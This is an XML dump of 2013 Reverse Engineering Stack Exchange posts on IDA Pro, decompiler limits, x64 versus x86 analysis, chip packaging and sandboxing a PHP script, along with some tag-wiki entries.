  <row Id="300" PostTypeId="2" ParentId="299" CreationDate="2013-03-26T20:29:33.643" Score="4" Body="&lt;p&gt;&lt;strong&gt;Non Destructive&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Highly unlikely to be successful unless you have intimate knowledge of how the pacakges were epoxied together. If you did go this route it might be possible to break down the glue that binds the chips together a REing effort in its own right. Once you did that it might not be possible to join them back together without machinery to align the chips under x-ray. And even then the soder balls might not be too happy about what you have done to them...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Destructive&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since package on package usually means the chips are epoxied together you basically have to distroy the packages to get them appart. Once you did you could look at them under microscope and RE them that way. You could possibly separate them without damaging the interconnects and test the top chip... as a black box I would imagine the bottom chip woudln't work without the top one though since it is usually RAM at least in mobile devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related Info&lt;/strong&gt;&#xA;&lt;a href=&quot;http://www.smartcard.co.uk/articles/Whatthesiliconmanufacturerhasputtogetherletnomanputasunder.php&quot; rel=&quot;nofollow&quot;&gt;Christopher Tarnovsky&lt;/a&gt; and&#xA;&lt;a href=&quot;http://www.chipworks.com&quot; rel=&quot;nofollow&quot;&gt;http://www.chipworks.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That company specializies in REing chips... and that is the sort of setup you would need to do it sucessfully. 1 million+ USD for something like an arm processor.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-03-26T22:15:31.863" LastActivityDate="2013-03-26T22:15:31.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="301" PostTypeId="2" ParentId="287" CreationDate="2013-03-26T23:33:39.403" Score="9" Body="&lt;p&gt;What you are describing is exactly the problem that was tackled by Gogul Balakrishnan in his doctoral work on value-set analysis [1].  In particular, he defines a memory model for x86 in terms of concepts such as &quot;abstract locations&quot;.  Here is his description for that concept:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As pointed out earlier, executables do not have intrinsic entities&#xA;  like source-code variables that can be used for analysis; therefore,&#xA;  the next step is to recover variable-like entities from the&#xA;  executable. We refer to such variable-like entities as a-locs (for&#xA;  “abstract locations”).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sound familiar vis-a-vis your question?  You should read this thesis, although be warned that -- like most documents about abstract interpretation -- it is terse and unfriendly reading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1]  &lt;a href=&quot;http://pages.cs.wisc.edu/~bgogul/Research/Thesis/thesis.html&quot;&gt;http://pages.cs.wisc.edu/~bgogul/Research/Thesis/thesis.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-03-26T23:33:39.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="302" PostTypeId="1" AcceptedAnswerId="307" CreationDate="2013-03-27T00:13:18.707" Score="15" ViewCount="2267" Body="&lt;p&gt;When reverse engineering programs, I often find functions like the one below.  This function in particular has a set of nested if/else blocks (pink boxes) which would typically be fairly easy to follow. When code executes at the blue box however, the code becomes messy and can take either of two independent code paths (purple or yellow).  If the developer had used a function (or not used an inline function) for the purple or yellow code blocks, this code would be much easier to reverse engineer. As a function, I can rename and comment on the code block, and the overall program becomes easier to read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My usual technique when I come across this kind of function is to apply colors to the code blocks like you see in the graph below. Is there a way for IDA to treat an arbitrary collection of code blocks as a function that is not called and/or are there better approaches to dealing with inline code and independent code blocks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kmK4c.png&quot; alt=&quot;Large function&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2013-03-27T22:42:43.787" Title="Treating independent code as a function in IDA Pro" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="303" PostTypeId="2" ParentId="287" CreationDate="2013-03-27T00:49:05.997" Score="15" Body="&lt;p&gt;(I was planning to make it a comment but it turned out rather long and it makes an answer on its own)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the comments mentioned the Hex-Rays decompiler. Its basic ideas are not a trade secret and are in fact described in the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/ppt/decompilers_and_beyond_white_paper.pdf&quot;&gt;white paper&lt;/a&gt; by Ilfak Guilfanov which accompanies &lt;a href=&quot;http://www.youtube.com/watch?v=00EqvVtLdJo&quot;&gt;the presentation&lt;/a&gt; he gave in 2008.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll paste the relevant part here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;Local variable allocation&lt;/h3&gt;&#xA;  &#xA;  &lt;p&gt;This phase uses the data flow analysis to connect registers from different basic blocks in order to convert&#xA;  them into local variables. If a register is defined by a block and&#xA;  used by another, then we will create a local variable covering both&#xA;  the definition and the use. In other words, a local variable consists&#xA;  of all definitions and all uses that can be connected together. While&#xA;  the basic idea is simple, things get complicated because of&#xA;  byte/word/dword registers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's simple on the surface but of course the implementation has to account for numerous details. And there's always room for improvement. There's this passage:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For the time being, we do not analyze live ranges of stack variables&#xA;  (this requires first a good alias analysis: we have to be able to&#xA;  prove that a stack variable is not modified between two locations). I&#xA;  doubt that a full fledged live range analysis will be available for&#xA;  stack variables in the near future.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, for stack variables the approach right now is simple: each stack slot is considered a single variable for the whole function (with some minor exceptions). The decompiler relies here on the work done by IDA during disassembly, where a stack slot is created for each access by an instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One current issue is multiple names for the same variable. For example, the compiler may cache the stack var in a register, pass it to some function, then later reload it into another register. The decompiler has to be pessimistic here. If we can't prove that the same location contains the same value at two points in time, we can't merge the variables. For example, any time the code passes an address of a variable to a call, the decompiler has to assume the call may spoil anything after that address. So even though the register still contains the same value as the stack var, we can't be 100% certain. Thus the excess of variable names. User can override it with manual mapping, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some ideas about introducing function annotations that would specify exactly how a function uses and/or changes its arguments (similar to Microsoft's SAL) which would alleviate this problem, but there are some technical implementation issues there.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-03-27T00:49:05.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="304" PostTypeId="2" ParentId="274" CreationDate="2013-03-27T01:05:13.520" Score="9" Body="&lt;p&gt;If you have the XAP file, it is just a ZIP format. You can rename it and open it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have the XAP file, you can use XGENO to get it - &lt;a href=&quot;http://mktwp7.codeplex.com/&quot;&gt;http://mktwp7.codeplex.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To decompile the DLLs, use DotPeek.&lt;/p&gt;&#xA;" OwnerUserId="282" LastActivityDate="2013-03-27T01:05:13.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="305" PostTypeId="1" CreationDate="2013-03-27T01:16:16.263" Score="22" ViewCount="1494" Body="&lt;p&gt;Many professional reverse engineers spend their days looking at 32-bit code compiled for Windows, and familiarity breeds proficiency. What are the high-level differences between reverse engineering 64-bit Windows programs versus 32-bit ones?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am talking about things that will be staring me in the face all the time, as opposed to, say, slightly differing behavior of APIs. For instance, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do 64-bit compilers employ particular optimizations that are infrequently seen in a 32-bit context?&lt;/li&gt;&#xA;&lt;li&gt;Will I see instructions in 64-bit programs that are different from, or non-existent in, the 32-bit instruction set? &lt;/li&gt;&#xA;&lt;li&gt;Is there anything in particular that I need to know about the tool support on &lt;code&gt;x64&lt;/code&gt; versus &lt;code&gt;x86&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="182" LastEditorUserId="189" LastEditDate="2013-03-27T06:50:11.143" LastActivityDate="2013-08-15T19:53:53.540" Title="What are the qualitative differences in reverse engineering x64/Win64 code versus x32/Win32 code?" Tags="|x86-64|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="306" PostTypeId="1" AcceptedAnswerId="1341" CreationDate="2013-03-27T01:16:39.540" Score="8" ViewCount="1036" Body="&lt;p&gt;The latest (as of now) comic is titled &lt;a href=&quot;http://xkcd.com/1190/&quot;&gt;&quot;Time&quot;&lt;/a&gt;. It's a standard-looking comic though without much action, but the picture's alt title says &quot;Wait for it.&quot;. I waited but nothing happened (tried in Opera and IE9) so I took a look at the page source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to the picture's &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag there was a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; which included the following URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://imgs.xkcd.com/static/time07.min.js&quot;&gt;http://imgs.xkcd.com/static/time07.min.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to make sense of it, but I can't figure it out. Can someone explain how it works and what was supposed to happen?&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="189" LastEditDate="2013-03-27T09:46:44.950" LastActivityDate="2013-03-27T21:50:06.373" Title="Reverse engineering XKCD 1190" Tags="|javascript|websites|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="307" PostTypeId="2" ParentId="302" CreationDate="2013-03-27T01:25:07.393" Score="12" Body="&lt;p&gt;It sounds like what you need is node groups. Since the very first implementation (5.0) IDA's graph view allowed to group several nodes into one &quot;super-node&quot; with a custom title. Just select the nodes you want to group with Ctrl-click and choose &quot;Group nodes&quot; from the context menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info, see &quot;Graph node groups&quot; in IDA's help or &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1129.shtml&quot;&gt;online&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2013-03-27T22:42:43.787" LastActivityDate="2013-03-27T22:42:43.787" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="308" PostTypeId="2" ParentId="305" CreationDate="2013-03-27T03:18:54.850" Score="10" Body="&lt;p&gt;One of the big things that will be different is the calling convention - on 64-bit some parameters are passed in registers; see &lt;a href=&quot;http://en.wikipedia.org/wiki/X86_calling_conventions&quot;&gt;http://en.wikipedia.org/wiki/X86_calling_conventions&lt;/a&gt; and the references&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other obvious things include the larger registers, more SSE registers, and 64-bit arithmetic (&lt;code&gt;mov QWORD&lt;/code&gt; / &lt;code&gt;movq&lt;/code&gt; et al.).  Beyond what you would expect, things are actually fairly similar.  See &lt;a href=&quot;http://en.wikipedia.org/wiki/X86-64#Architectural_features&quot;&gt;http://en.wikipedia.org/wiki/X86-64#Architectural_features&lt;/a&gt; for an overview of the large differences - most of the other new features are of more importance to kernelspace code rather than userspace code.  Beyond logical extensions of 32-bit instructions to 64-bit instructions, the instruction set remains fairly static.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-03-27T03:18:54.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="309" PostTypeId="2" ParentId="283" CreationDate="2013-03-27T06:49:44.220" Score="8" Body="&lt;p&gt;Much of my reverse engineering environment (IDA and Hex-Rays on Windows) consists of commercial software, so I strongly expect there would be no legitimate free VMs floating around.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-03-27T06:49:44.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="310" PostTypeId="1" AcceptedAnswerId="1343" CreationDate="2013-03-27T08:23:11.430" Score="7" ViewCount="422" Body="&lt;p&gt;I have a very messy PHP script of which I need to determine the function. I can't quite understand the code, it's &lt;em&gt;really&lt;/em&gt; messy. Now I thought that I perhaps could reverse engineer this script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is to run this script (eventually with specific parts commented) to gain a better understanding of what part of the script does what. With that information, I should be able to get a full understanding of the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I do not want to change anything in the database on the server, I do not want that the script is going to mail things, etc. Basically, the script should be totally separated from the world, but I do want to see what it &lt;em&gt;tries&lt;/em&gt; to do. So, for example, when the script runs a &lt;code&gt;mail()&lt;/code&gt; function, I want to see that a mail would've been sent if the script wasn't separated from the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I therefore need a copy of the server installation (Ubuntu Server 12.04), which isn't that hard. The hard part is that I need to have a system which &lt;em&gt;acts&lt;/em&gt; like it is the outside world, but actually is a &lt;em&gt;logging system&lt;/em&gt; in which I can see what's happening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools that can do this? If not, how should I go in building it myself?&lt;/p&gt;&#xA;" OwnerDisplayName="user187" LastEditorDisplayName="user187" LastEditDate="2013-03-27T13:43:01.860" LastActivityDate="2013-03-28T08:23:16.773" Title="Secure RE-ing a PHP script" Tags="|tools|php|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="311" PostTypeId="1" AcceptedAnswerId="312" CreationDate="2013-03-27T10:12:23.533" Score="32" ViewCount="12057" Body="&lt;p&gt;Java and .NET decompilers can (usually) produce an almost perfect source code, often very close to the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can't the same be done for the native code? I tried a few but they either don't work or produce a mess of gotos and casts with pointers.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="70" LastEditDate="2013-03-27T10:56:41.153" LastActivityDate="2023-07-18T10:54:10.420" Title="Why are machine code decompilers less capable than for example those for the CLR and JVM?" Tags="|decompilation|x86-64|x86|arm|" AnswerCount="4" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="312" PostTypeId="2" ParentId="311" CreationDate="2013-03-27T10:12:23.533" Score="45" Body="&lt;p&gt;TL;DR:  machine code decompilers are very useful, but do not expect the same miracles that they provide for managed languages.  To name several limitations:  the result generally can't be recompiled, lacks names, types, and other crucial information from the original source code, is likely to be much more difficult to read than the original source code minus comments, and might leave weird processor-specific artifacts in the decompilation listing.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Why are decompilers so popular?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompilers are very attractive reverse engineering tools because they have the potential to save a lot of work.  In fact, they are so unreasonably effective for managed languages such as Java and .NET that &quot;Java and .NET reverse engineering&quot; is virtually non-existent as a topic.  This situation causes many beginners to wonder whether the same is true for machine code.  Unfortunately, this is not the case.  Machine code decompilers do exist, and are useful at saving the analyst time.  However, they are merely an aid to a very manual process.  The reason this is true is that bytecode language and machine code decompilers are faced with a different set of challenges.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Will I see the original variable names in the decompiled source code?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some challenges arise from the loss of semantic information throughout the compilation process.  Managed languages often preserve the names of variables, such as the names of fields within an object.  Therefore, it is easy to present the human analyst with names that the programmer created which hopefully are meaningful.  This improves the speed of comprehension of decompiled machine code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, compilers for machine-code programs usually destroy most of all of this information while compiling the program (perhaps leaving some of it behind in the form of debug information).  Therefore, even if a machine code decompiler was perfect in every other way, it would still render non-informative variable names (such as &quot;v11&quot;, &quot;a0&quot;, &quot;esi0&quot;, etc.) that would slow the speed of human comprehension.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Can I recompile the decompiled program?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some challenges relate to disassembling the program.  In bytecode languages such as Java and .NET, the metadata associated with the compiled object will generally describe the locations of all code bytes within the object.  I.e., all functions will have an entry in some table in a header of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In machine language on the other hand, to take x86 Windows disassembly for example, without the help of heavy debug information such as a PDB the disassembler does not know where the code within the binary is located.  It is given some hints such as the entrypoint of the program.  As a result, machine code disassemblers are forced to implement their own algorithms to discover the code locations within the binary.  They generally use two algorithms:  linear sweep (scan through the text section looking for known byte sequences that usually denote the beginning of a function), and recursive traversal (when a call instruction to a fixed location is encountered, consider that location as containing code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, these algorithms generally will not discover all of the code within the binary, due to compiler optimizations such as interprocedural register allocation that modify function prologues causing the linear sweep component to fail, and due to naturally-occurring indirect control flow (i.e. call via function pointer) causing the recursive traversal to fail.  Therefore, even if a machine code decompiler encountered no problems other than that one, it could not generally produce a decompilation for an entire program, and hence the result would not be able to be recompiled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code/data separation problem described above falls into a special category of theoretical problems, called the &quot;undecidable&quot; problems, which it shares with other impossible problems such as the Halting Problem.  Therefore, abandon hope of finding an automated machine code decompiler that will produce output that can be recompiled to obtain a clone of the original binary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Will I have information about the objects used by the decompiled program?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also challenges relating to the nature of how languages such as C and C++ are compiled versus the managed languages; I'll discuss type information here.  In Java bytecode, there is a dedicated instruction called 'new' to allocate objects.  It takes an integer argument which is interpreted as a reference into the .class file metadata which describes the object to be allocated.  This metadata in turn describes the layout of the class, the names and types of the members, and so on.  This makes it very easy to decompile references to the class in a way that is pleasing to the human inspector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a C++ program is compiled, on the other hand, in the absence of debug information such as RTTI, object creation is not conducted in a neat and tidy way.  It calls a user-specifiable memory allocator, and then passes the resulting pointer as an argument to the constructor function (which may also be inlined, and therefore not a function).  The instructions that access class members are syntactically indistinguishable from local variable references, array references, etc.  Furthermore, the layout of the class is not stored anywhere in the binary.  In effect, the only way to discover the data structures in a stripped binary is through data flow analysis.  Therefore, a decompiler has to implement its own type reconstruction in order to cope with the situation.  In fact, the popular decompiler Hex-Rays mostly leaves this task up to the human analyst (though it also offers the human useful assistance).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Will the decompilation basically resemble the original source code in terms of its control flow structure?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some challenges stem from compiler optimizations having been applied to the compiled binary.  The popular optimization known as &quot;tail merging&quot; causes the control flow of the program to be mutilated compared to less-aggressive compilers, which usually manifests itself as a lot of goto statements within the decompilation.   The compilation of sparse switch statements can cause similar problems.  On the other hand, managed languages often have switch statement instructions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Will the decompiler give meaningful output when obscure facets of the processor are involved?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some challenges stem from architectural features of the processor in question.  For example, the built-in floating point unit on x86 is a nightmare of an ordeal.  There are no floating point &quot;registers&quot;, there is a floating point &quot;stack&quot;, and it must be tracked precisely in order for the program to be properly decompiled.  In contrast, managed languages often have specialized instructions for dealing with floating-point values, which are themselves variables.  (Hex-Rays handles floating point arithmetic just fine.)  Or consider the fact that there are many hundreds of legal instruction types on x86, most of which are never produced by a regular compiler without the user explicitly specifying that it should do so via an intrinsic.  A decompiler must include special processing for those instructions which it supports natively, and so most decompilers simply include support for the ones most commonly generated by compilers, using inline assembly or (at best) intrinsics for those which it does not support.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These are merely a few of the accessible examples of challenges that plague machine code decompilers.  We can expect that limitations will remain for the foreseeable future.  Therefore, do not seek a magic bullet that is as effective as managed language decompilers.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="116" LastEditDate="2013-10-19T17:55:33.450" LastActivityDate="2013-10-19T17:55:33.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="313" PostTypeId="1" CreationDate="2013-03-27T10:13:56.697" Score="8" ViewCount="809" Body="&lt;p&gt;I myself am a static analysis guy; I mostly gave up dynamic reverse engineering ten years ago.  So these days, my process is usually to locate where my input enters the module that I am interested in, and then perform heavy static analysis to determine how my input manipulates the state of the program.  I have found some neat bugs such as information disclosure this way; however, I am undoubtedly a lot slower than my counterparts who employ a lot of dynamic analysis and dynamic input generation (e.g., randomized fuzzing).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What steps do you usually take to discover vulnerabilities in closed-source programs?&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="70" LastEditDate="2013-03-27T10:47:14.967" LastActivityDate="2013-03-27T18:18:10.847" Title="What is your vulnerability discovery process?" Tags="|vulnerability-analysis|" AnswerCount="1" CommentCount="1" ClosedDate="2013-03-28T12:24:11.063" ContentLicense="CC BY-SA 3.0" />
  <row Id="314" PostTypeId="2" ParentId="211" CreationDate="2013-03-27T11:38:37.043" Score="4" Body="&lt;p&gt;You could also try &lt;a href=&quot;http://code.google.com/p/ospy&quot; rel=&quot;nofollow&quot;&gt;oSpy&lt;/a&gt; which basically hooks the appropriate API calls and lets you see the data before and after it has been encrypted/decrypted.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;oSpy is a tool which aids in reverse-engineering software running on the Windows platform. [...] when the sniffing is done on the API level it allows a much more fine-grained view of what's going on. [...] if an application uses encrypted communication it's easy to intercept these calls as well. oSpy already intercepts one such API, and is the API used by MSN Messenger, Google Talk, etc. for encrypting/decrypting HTTPS data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="304" LastEditorUserId="74" LastEditDate="2013-03-27T13:55:51.610" LastActivityDate="2013-03-27T13:55:51.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="315" PostTypeId="5" CreationDate="2013-03-27T13:25:52.017" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-03-27T13:25:52.017" LastActivityDate="2013-03-27T13:25:52.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="316" PostTypeId="4" CreationDate="2013-03-27T13:25:52.017" Score="0" Body="This tag is for questions discussing communication protocols, how they work and how to identify them." OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-04-01T14:13:54.910" LastActivityDate="2013-04-01T14:13:54.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="317" PostTypeId="5" CreationDate="2013-03-27T13:29:34.060" Score="0" Body="&lt;p&gt;JavaScript or JS is an interpreted computer programming language. It was originally implemented as part of web browsers so that client-side scripts could interact with the user, control the browser, communicate asynchronously, and alter the document content that was displayed. JavaScript is a prototype-based scripting language that is dynamic, weakly typed, and has first-class functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JS is a multi-paradigm language, supporting object-oriented, imperative, and functional programming styles.&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-03-27T13:56:07.187" LastActivityDate="2013-03-27T13:56:07.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="318" PostTypeId="4" CreationDate="2013-03-27T13:29:34.060" Score="0" Body="JavaScript or JS is an interpreted computer programming language. It was originally implemented as part of web browsers." OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-04-01T14:13:41.957" LastActivityDate="2013-04-01T14:13:41.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="319" PostTypeId="5" CreationDate="2013-03-27T13:37:15.057" Score="0" Body="&lt;p&gt;An executable is a file that causes a computer to perform certain tasks according to the encoded instructions. While an executable file can be hand-coded in machine language, it is far more usual to develop software as source code in a high-level language, or in an assembly language. The high-level source code is compiled into either an executable machine code file or a non-executable machine-code &lt;a href=&quot;/questions/tagged/object-file&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;object-file&amp;#39;&quot; rel=&quot;tag&quot;&gt;object-file&lt;/a&gt;. The equivalent process on assembly language source code is called &lt;a href=&quot;/questions/tagged/assembly&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;assembly&amp;#39;&quot; rel=&quot;tag&quot;&gt;assembly&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same source code can be compiled to run under different operating systems, usually with minor operating-system-dependent features inserted in the source code to modify compilation according to the target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When asking questions whose scope is limited to Windows executables, you can also use &lt;a href=&quot;/questions/tagged/pe&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;pe&amp;#39;&quot; rel=&quot;tag&quot;&gt;pe&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Executable files can be converted to the equivalent source code by the process of &lt;a href=&quot;/questions/tagged/decompilation&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;decompilation&amp;#39;&quot; rel=&quot;tag&quot;&gt;decompilation&lt;/a&gt; or for object files, &lt;a href=&quot;/questions/tagged/disassembly&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;disassembly&amp;#39;&quot; rel=&quot;tag&quot;&gt;disassembly&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/Executable&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In computing, an &lt;strong&gt;executable file&lt;/strong&gt; causes a computer &quot;to perform indicated tasks according to encoded instructions,&quot; as opposed to a data file that must be parsed by a program to be meaningful. These &lt;em&gt;instructions&lt;/em&gt; are traditionally machine code instructions for a physical CPU. However, in a more general sense, a file containing instructions (such as bytecode) for a software interpreter may also be considered executable; even a scripting language source file may therefore be considered executable in this sense. The exact interpretation depends upon the use; while the term often refers only to machine code files, in the context of protection against computer viruses all files which cause potentially hazardous instruction execution, including scripts, are conveniently lumped together.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/185/how-do-i-add-functionality-to-an-existing-binary-executable&quot;&gt;How do I add functionality to an existing binary executable?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/252/how-should-i-go-about-trying-to-figure-out-the-programming-language-that-was-use&quot;&gt;How should I go about trying to figure out the programming language that was used?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/113/unpacking-binary-statically&quot;&gt;Unpacking binary statically&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="189" LastEditorUserId="3371" LastEditDate="2017-08-27T20:58:24.287" LastActivityDate="2017-08-27T20:58:24.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="320" PostTypeId="4" CreationDate="2013-03-27T13:37:15.057" Score="0" Body="A file that can be processed (executed) by the CPU of the machine through the operating system accordingly to the instructions that it contains. " OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-17T08:57:22.723" LastActivityDate="2013-12-17T08:57:22.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
